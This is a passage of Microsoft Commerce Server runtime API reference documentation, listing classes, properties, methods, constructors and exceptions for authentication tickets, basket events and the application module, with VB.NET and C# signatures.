Parameters

[Visual Basic .NET]
userID
A String that contains the user ID.
cookieSupport
A Boolean that indicates whether or not the client supports cookies.
[C#]
userID
A String that contains the user ID.
cookieSupport
A Boolean that indicates whether or not the client supports cookies.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager Properties (BCL)

Public Instance Properties

Property | Description
AuthTicket | Retrieves the AuthTicket property.
ProfileTicket | Retrieves the ProfileTicket property.


AuthManager.AuthTicket Property (BCL)

The AuthTicket property contains the read-only AuthTicket for the user.

Definition

[Visual Basic .NET]
Public ReadOnly Property AuthTicket As AuthTicket
[C#]
public AuthTicket AuthTicket {get;}

Property Value

The AuthTicket for the user. This value is null if there is no AuthTicket present for the current request.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager.ProfileTicket Property (BCL)

The ProfileTicket property contains the read-only ProfileTicket for the user.

Definition

[Visual Basic .NET]
Public ReadOnly Property ProfileTicket As ProfileTicket
[C#]
public ProfileTicket ProfileTicket {get;}

Property Value

The ProfileTicket for the user. This value is null if there is no ProfileTicket for the current request.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthTicket Class (BCL)

Contains the authentication ticket for the user.

Public Instance Methods

Method | Description
Dispose (Inherited from TicketBase) | Releases resources used by this object.
SignOut | Deletes the AuthTicket if one exists.

Public Instance Properties

Property | Description
Item(String) | Retrieves properties set in the ticket by name.
UserID | Sets and retrieves the user ID property on the AuthTicket class.
Value (Inherited from TicketBase) | Retrieves the ticket in string form.

Protected Instance Methods

Method | Description
CheckState (Inherited from TicketBase) | Verifies that the object has not already been disposed.
Dispose(Boolean) (Inherited from TicketBase) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthTicket Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from TicketBase) | Releases resources used by this object.
SignOut | Deletes the AuthTicket if one exists.

Protected Instance Methods

Method | Description
CheckState (Inherited from TicketBase) | Verifies that the object has not already been disposed.
Dispose(Boolean) (Inherited from TicketBase) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


AuthTicket.SignOut Method (BCL)

Use this method to delete the AuthTicket if one exists.

Definition

[Visual Basic .NET]
Public Sub SignOut( _
)
[C#]
public void SignOut(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthTicket Properties (BCL)

Public Instance Properties

Property | Description
Item(String) | Retrieves properties set in the ticket by name.
UserID | Sets and retrieves the user ID property on the AuthTicket class.
Value (Inherited from TicketBase) | Retrieves the ticket in string form.


AuthTicket.Item(String) Property (BCL)

The Item property is a read/write indexer that sets and retrieves the properties on an authentication ticket.

Definition

[Visual Basic .NET]
Overrides Public Property Item( _
  ByVal propertyName As System.String _
) As System.String
[C#]
public override System.String Item(
  System.String propertyName
) {get; set;}

Parameters

[Visual Basic .NET]
propertyName
A string that contains the name of the property.
[C#]
propertyName
A string that contains the name of the property.

Property Value

The name of the property on the authentication ticket.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthTicket.UserID Property (BCL)

The UserID property is a read-only string that contains the user ID on the authentication ticket.

Definition

[Visual Basic .NET]
Overrides Public Property UserID As System.String
[C#]
public override System.String UserID {get; set;}

Property Value

The user ID on the authentication ticket.

Remarks

The UserId property populates the CommerceContext.UserId property when the get method first tries to retrieve it from the AuthTicket of the AuthenticationInfo object, assuming the CommerceAuthenticationModule object is enabled for the site.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


BaseCommerceEvent Class (BCL)

Abstract base class from which all Commerce event classes derive.

Protected Instance Constructor

Constructor | Description
BaseCommerceEvent Constructor | Creates a new instance of the BaseCommerceEvent class.

Public Instance Methods

Method | Description
Validate | Validates property values for specific event objects.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


BaseCommerceEvent Constructor (BCL)

Public Instance Constructor

Constructor | Description
BaseCommerceEvent Constructor | Creates a new instance ofthe BaseCommerceEvent class.


BaseCommerceEvent Constructor (BCL)

Use this method to create a new instance of the BaseCommerceEvent class.

[Visual Basic .NET]
Protected Sub New( _
)
[C#]
public BaseCommerceEvent(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


BaseCommerceEvent Methods (BCL)

Public Instance Methods

Method | Description
Validate | Validates property values for specific event objects.


BaseCommerceEvent.Validate Method (BCL)

Use this method to validate property values for specific event objects.

[Visual Basic .NET]
Overridable Public Function Validate( _
) As System.Boolean
[C#]
public virtual System.Boolean Validate(
);

Return Value

A Boolean indicating whether the property value is valid.

Remarks

This method checks the validity of the objects before logging the event object contents. This is good for checking cross-property validation and validating that all the mandatory fields were set correctly. Derived classes should override this method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


BasketEvent Class (BCL)

Provides base functionality for all the basket related events. This class cannot be used as a Commerce event. Use the AddItemToBasket class or the RemoveItemFromBasket class as a Commerce event instead.

Public Instance Constructor

Constructor | Description
BasketEvent Constructor | Creates a new instance of the BasketEvent class.

Public Instance Methods

Method | Description
Validate | Validates the CatalogName and ProductID properties for the basket event.

Public Instance Properties

Property | Description
CatalogName | The name of the catalog to which the product belongs.
ProductID | The product identifier for the product associated with the basket.
ReadOnlyPrID | This property is calculated internally and is read only.
VariantID | The variant ID for the product associated with the basket.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


BasketEvent Constructor (BCL)

Public Instance Constructor

Constructor | Description
BasketEvent Constructor | Creates a new instance of the BasketEvent class.


BasketEvent Constructor (BCL)

Use this method to create a new instance of the BasketEvent class.

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public BasketEvent(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


BasketEvent Methods (BCL)

Public Instance Methods

Method | Description
Validate | Validates the CatalogName and ProductID properties for the basket event.


BasketEvent.Validate Method (BCL)

Use this method to validate the CatalogName and ProductID properties for the basket event.

Definition

[Visual Basic .NET]
Overrides Public Function Validate( _
) As System.Boolean
[C#]
public override System.Boolean Validate(
);

Return Value

A System.Boolean that returns True if the CatalogName property and the ProductID property are not NULL.

Remarks

Overrides the default Validate function provided by the BaseCommerceEvent class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


BasketEvent Properties (BCL)

Public Instance Properties

Property | Description
CatalogName | The name of the catalog to which the product belongs.
ProductID | The product identifier for the product associated with the basket.
ReadOnlyPrID | This property is calculated internally and is read only.
VariantID | The variant ID for the product associated with the basket.


BasketEvent.CatalogName Property (BCL)

The CatalogName property is a read/write string that identifies the catalog to which the product belongs.

Definition

[Visual Basic .NET]
Public Property CatalogName As System.String
[C#]
public System.String CatalogName {get; set;}

Property Value

The name of the catalog to which the product belongs.

Remarks

This property must be set for a valid event.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


BasketEvent.ProductID Property (BCL)

The ProductID property is a read/write string that identfies the product ID for the product.

Definition

[Visual Basic .NET]
Public Property ProductID As System.String
[C#]
public System.String ProductID {get; set;}

Property Value

The name of the product ID for the product.

Remarks

This property must be set for a valid event.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


BasketEvent.ReadOnlyPrID Property (BCL)

The ReadOnlyPrID property is a read-only string that contains an internally generated string based on the values of the CatalogName property, the ProductID property, and the VariantID property.

Definition

[Visual Basic .NET]
Public ReadOnly Property ReadOnlyPrID As System.String
[C#]
public System.String ReadOnlyPrID {get;}

Property Value

An internally generated string.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


BasketEvent.VariantID Property (BCL)

The VariantID property is a read-only string that contains the variant ID for the product.

Definition

[Visual Basic .NET]
Public Property VariantID As System.String
[C#]
public System.String VariantID {get; set;}

Property Value

The variant ID for the product.

Remarks

Setting this property is optional.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceApplicationModule Class (BCL)

The primary CommerceModule class responsible for initialization of the site framework. The CommerceApplicationModule class must be the first CommerceModule class listed in the httpModules section of the web.config file.

Public Instance Constructor

Constructor | Description
CommerceApplicationModule Constructor | Creates a new instance of the CommerceApplicationModule class.

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.
OnBeginRequest(Object, EventArgs) | Creates a CommerceContext class and stores it in the HttpContext Items collection.
OnEndRequest(Object, EventArgs) | Releases the current CommerceContext object from the HttpContext Items collection and calls the Dispose method to clean up resources.

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance is initialized.

Public Static (Shared) Properties

Property | Description
DebugContext | Gets or sets the debug mode for the DebugContext class.
Pipelines | Gets the site pipelines collection.
Resources | Gets the collection of Commerce Server resources configured for the site.
SiteName | Gets the Commerce Server site name.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) (Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceApplicationModule Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceApplicationModule Constructor | Creates a new instance of the CommerceApplicationModule class.


CommerceApplicationModule Constructor (BCL)

Use this method to create a new instance of the CommerceApplicationModule class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceApplicationModule(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceApplicationModule Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.
OnBeginRequest(Object, EventArgs) | Creates a CommerceContext class and stores it in the HttpContext Items collection.
OnEndRequest(Object, EventArgs) | Releases the current CommerceContext object from the HttpContext Items collection and calls the Dispose method to clean up resources.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) (Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


CommerceApplicationModule.Init (HttpApplication) Method (BCL)

Use this method to initialize the module and set up the event handlers.

Definition

[Visual Basic .NET]
Overrides Public Sub Init( _
  ByVal appInstance As System.Web.HttpApplication _
)
[C#]
public override void Init(
  System.Web.HttpApplication appInstance
);

Parameters

[Visual Basic .NET]
appInstance
The current HttpApplication instance.
[C#]
appInstance
The current HttpApplication instance.

Remarks

The SiteName, Resources, Pipelines, and DebugContext properties are initialized after reading the <application> section of the Commerce Server config section.

Implements

System.Web.IHttpModule

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceApplicationModule.OnBeginRequest (Object, EventArgs) Method (BCL)

Internal handler used for handling events raised by the application.

Definition

[Visual Basic .NET]
Public Sub OnBeginRequest( _
  ByVal sender As System.Object, _
  ByVal e As System.EventArgs _
)
[C#]
public void OnBeginRequest(
  System.Object sender,
  System.EventArgs e
);

Parameters

[Visual Basic .NET]
sender
The HttpApplication instance that sent the event.
e
The current EventArgs instance.
[C#]
sender
The HttpApplication instance that sent the event.
e
The current EventArgs instance.

Remarks

This method creates a CommerceContext object and stores it in the HttpContext Items collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceApplicationModule.OnEndRequest (Object, EventArgs) Method (BCL)

Use this method to handle HttpApplication EndRequest events.

Definition

[Visual Basic .NET]
Public Sub OnEndRequest( _
  ByVal sender As System.Object, _
  ByVal e As System.EventArgs _
)
[C#]
public void OnEndRequest(
  System.Object sender,
  System.EventArgs e
);

Parameters

[Visual Basic .NET]
sender
The HttpApplication instance that sent the event.
e
The current EventArgs instance.
[C#]
sender
The HttpApplication instance that sent the event.
e
The current EventArgs instance.

Remarks

Releases the current CommerceContext object from the HttpContext Items collection and calls its Dispose method to clean up resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceApplicationModule Properties (BCL)

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance is initialized.

Public Static (Shared) Properties

Property | Description
DebugContext | Gets or sets the debug mode for the DebugContext class.
Pipelines | Gets the site pipelines collection.
Resources | Gets the collection of Commerce Server resources configured for the site.
SiteName | Gets the Commerce Server site name.


CommerceApplicationModule.DebugContext Property (BCL)

The DebugContext property is a read/write DebugContext that gets and sets the debug mode used throughout the site.

Definition

[Visual Basic .NET]
Public Property DebugContext As DebugContext
[C#]
public DebugContext DebugContext {get; set;}

Property Value

The debug mode for the DebugContext class.

Implements

Diagnostics.DebugContext

Remarks

Throws an ArgumentNullException if the value is set to null. The application can set the DebugContext property to a custom instance of the DebugContext class or a derived class if it chooses. The custom instance should be set in Application_OnStart event before the CommerceApplicationModule class is initialized.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceApplicationModule.Pipelines Property (BCL)

The Pipelines property is a read-only version of the current PipelineCollection instance.

Definition

[Visual Basic .NET]
Public ReadOnly Property Pipelines As PipelineCollection
[C#]
public PipelineCollection Pipelines {get;}

Property Value

Contains the current PipelineCollection instance for the site.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceApplicationModule.Resources Property (BCL)

The Resources property is a read-only version of the current CommerceResourceCollection class.

Definition

[Visual Basic .NET]
Public ReadOnly Property Resources As CommerceResourceCollection
[C#]
public CommerceResourceCollection Resources {get;}

Property Value

Contains the current collection of Commerce Server resources configured for the site.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceApplicationModule.SiteName Property (BCL)

The SiteName property is a read-only String containing the name of the Commerce Server site.

Definition

[Visual Basic .NET]
Public ReadOnly Property SiteName As System.String
[C#]
public System.String SiteName {get;}

Property Value

Contains the name of the Commerce Server site.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationException Class (BCL)

The base class for exceptions thrown from the Authentication sub-system.

Public Instance Constructor

Constructor | Description
CommerceAuthenticationException Constructor | Creates a new instance of the CommerceAuthenticationException class.
CommerceAuthenticationException Constructor(String) | Creates a new instance of the CommerceAuthenticationException class with the specified string message.
CommerceAuthenticationException Constructor(String, Exception) | Creates a new instance of the CommerceAuthenticationException class with the specified string message and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceAuthenticationException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceAuthenticationException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
GetObjectData(SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Method | Description
HelpLink (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceAuthenticationException Constructor | Creates a new instance of the CommerceAuthenticationException class.
CommerceAuthenticationException Constructor(String) | Creates a new instance of the CommerceAuthenticationException class with the specified string message.
CommerceAuthenticationException Constructor(String, Exception) | Creates a new instance of the CommerceAuthenticationException class with the specified string message and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceAuthenticationException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceAuthenticationException class with the specified serialization information and streaming context


CommerceAuthenticationException Constructor (BCL)

Use this method to create a new instance of the CommerceAuthenticationException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceAuthenticationException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceAuthenticationException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CommerceAuthenticationException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceAuthenticationException instance with the specified string message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CommerceAuthenticationException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
The exception message.
[C#]
message
The exception message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceAuthenticationException instance with the specified string message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceAuthenticationSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
The exception message.
inner
The inner exception.
[C#]
message
The exception message.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
GetObjectData(SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.


CommerceAuthenticationException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationException Properties (BCL)

Public Instance Properties

Method | Description
HelpLink (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.


CommerceAuthenticationFailedDecryptionException Class (BCL)

Exception raised whenever a decryption error occurs, most notably when an invalid encryption key or a invalid ticket is used

Public Instance Constructor

Constructor | Description
CommerceAuthenticationFailedDecryptionException Constructor | Creates a new instance of the CommerceAuthentication FailedDecryptionException class.
CommerceAuthenticationFailedDecryptionException Constructor(String) | Creates a new instance of the CommerceAuthentication FailedDecryptionException class with the specified string message.
CommerceAuthenticationFailedDecryptionException Constructor(String, Exception) | Creates a new instance of the CommerceAuthentication FailedDecryptionException class with the specified string message and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceAuthenticationFailedDecryptionException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceAuthentication FailedDecryptionException object with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationFailedDecryptionException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceAuthenticationFailedDecryptionException Constructor | Creates a new instance of the CommerceAuthentication FailedDecryptionException class.
CommerceAuthenticationFailedDecryptionException Constructor(String) | Creates a new instance of the CommerceAuthentication FailedDecryptionException class with the specified string message.
CommerceAuthenticationFailedDecryptionException Constructor(String, Exception) | Creates a new instance of the CommerceAuthentication FailedDecryptionException class with the specified string message and inner exception.

Protected Instance Constructor

Constructor | Description
CommerceAuthenticationFailedDecryptionException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceAuthentication FailedDecryptionException class with the specified serialization information and streaming context.


CommerceAuthenticationFailedDecryptionException Constructor (BCL)

Use this method to create a new instance of the CommerceAuthenticationFailedDecryptionException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceAuthenticationFailedDecryptionException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationFailedDecryptionException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceAuthenticationFailedDecryptionException class with the specified string message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CommerceAuthenticationFailedDecryptionException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
The error message.
[C#]
message
The error message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationFailedDecryptionException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceAuthenticationFailedDecryptionException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
public CommerceAuthenticationFailedDecryptionException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationFailedDecryptionException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceAuthenticationFailedDecryptionException class with the specified string message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceAuthenticationFailedDecryptionException(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
The exception message.
inner
The inner exception.
[C#]
message
The exception message.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationFailedDecryptionException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceAuthenticationFailedDecryptionException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceAuthenticationFailedDecryptionException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | See the .NET Framework SDK documentation for the System.Exception class.


CommerceAuthenticationModule Class (BCL)

